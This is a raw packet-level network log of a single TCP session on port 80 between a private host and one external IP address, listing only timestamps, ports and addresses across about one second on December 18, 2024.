Dec 18, 2024 12:00:32.263395071 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.263998985 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.264039993 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.264049053 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.264081001 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.264647961 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.264683962 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.264775038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.264820099 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.265511036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.265548944 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.265578985 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.265615940 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.266376019 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.266415119 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.266463995 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.266501904 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.267057896 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.267098904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.267102003 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.267132044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.267607927 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.267649889 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.267719030 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.267761946 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.268378019 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.268526077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.268551111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.268558979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.269118071 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.269161940 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.269231081 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.269265890 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.270025015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.270066977 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.270163059 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.270199060 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.270726919 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.270750046 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.270771980 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.270798922 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.271621943 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.271737099 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.271769047 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.271826029 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.272829056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.272874117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.273118973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.273192883 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.273689032 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.273734093 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.273749113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.273786068 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.274142981 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.274225950 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.274303913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.274341106 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.274833918 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.274874926 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.274945021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.274987936 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.275633097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.275686026 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.275727034 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.275763035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.276361942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.276401997 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.276520014 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.276557922 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.401038885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.522181988 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.845357895 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.845371008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.845429897 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.845468044 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.845530987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.845580101 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.845617056 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.846129894 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.846184969 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.846281052 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.846318960 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.846373081 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.846412897 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.846987963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.847045898 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.847100019 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.847136021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.847171068 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.847812891 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.847961903 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.848083973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.848149061 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.848237038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.848278046 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.848648071 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.848691940 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.978760004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.978790045 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.978904009 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.979042053 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.979115009 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.979850054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.979926109 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.979947090 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.979985952 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.980221987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.980505943 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.980618000 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.980659962 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.980684996 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.980717897 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.980978966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.981024981 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.981151104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.981198072 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.981300116 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.981358051 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.981800079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.981842995 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.981960058 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.981997967 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.982139111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.982177973 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.982764006 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.982799053 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.982841969 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.982872009 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.982927084 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.983063936 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.983594894 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.983652115 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.983678102 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.983835936 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.983843088 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.983897924 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.984438896 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.984478951 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.984482050 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.984505892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.984507084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.984532118 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.985060930 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.985104084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.985131979 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.985165119 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.985307932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.985352993 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.985788107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.985833883 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.985893965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.985934019 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.985970974 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.986000061 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:32.986709118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:32.986748934 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.036292076 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.036319971 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.036346912 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.036375999 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.112446070 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.112523079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.112549067 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.112586021 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.112816095 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.112852097 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.113569021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.113738060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.113781929 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.113858938 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.113892078 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.114128113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.114166021 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.114186049 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.114214897 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.114881039 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.114890099 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.114928007 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.114939928 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.115041971 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.115521908 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.115653992 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.115695953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.115725994 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.115757942 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.116389036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.116426945 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.116456985 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.116496086 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.116556883 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.116646051 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.117197990 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.117259026 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.117283106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.117319107 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.117372990 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.117413044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.118052006 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.118136883 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.118153095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.118163109 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.118190050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.118217945 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.118592024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.118705034 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.118772984 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.118959904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.119010925 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.119024038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.119050980 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.119421959 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.119456053 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.119494915 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.119524956 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.120179892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.120217085 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.120316982 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.120346069 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.121023893 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.121061087 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.121159077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.121200085 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.121865034 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.121962070 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.121997118 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.122520924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.122558117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.122648954 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.122683048 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.123408079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.123444080 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.123601913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.123636007 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.124212980 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.124248981 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.124273062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.124303102 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.124960899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.124996901 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.125077963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.125111103 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.125695944 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.125740051 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.125885010 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.126523972 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.126558065 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.126641989 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.126674891 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.127250910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.127288103 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.127358913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.127391100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.128086090 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.128139973 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.128236055 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.128406048 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.128706932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.128716946 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.128763914 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.247900963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.247978926 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.247998953 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.248059034 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.248261929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.248449087 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.248567104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.248662949 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.248714924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.248775959 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.249062061 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.249197960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.249249935 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.249385118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.249562979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.249814987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.249866962 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.249912024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.249943972 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.249973059 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.249988079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.250466108 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.250511885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.250559092 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.250638008 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.250641108 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.250742912 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.251260042 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.251307964 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.251416922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.251477957 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.251533031 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.251596928 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.252100945 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.252192020 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.252222061 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.252233982 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.252259016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.252834082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.252928972 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.252959967 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.252969980 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.252995014 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.253504992 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.253587008 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.253683090 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.253717899 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.254055977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.254101038 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.254158020 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.254221916 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.254826069 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.254905939 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.254930019 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.254946947 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.255484104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.255538940 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.255592108 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.256176949 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.256227016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.256316900 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.256351948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.256882906 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.256974936 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.257019043 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.257471085 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.257529974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.257586002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.257620096 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.258328915 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.258455038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.258506060 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.259103060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.259233952 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.259263039 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.259294033 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.259735107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.259773970 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.259840012 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.259876966 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.260533094 CET	80	49913	185.215.113.17	192.168.2.6
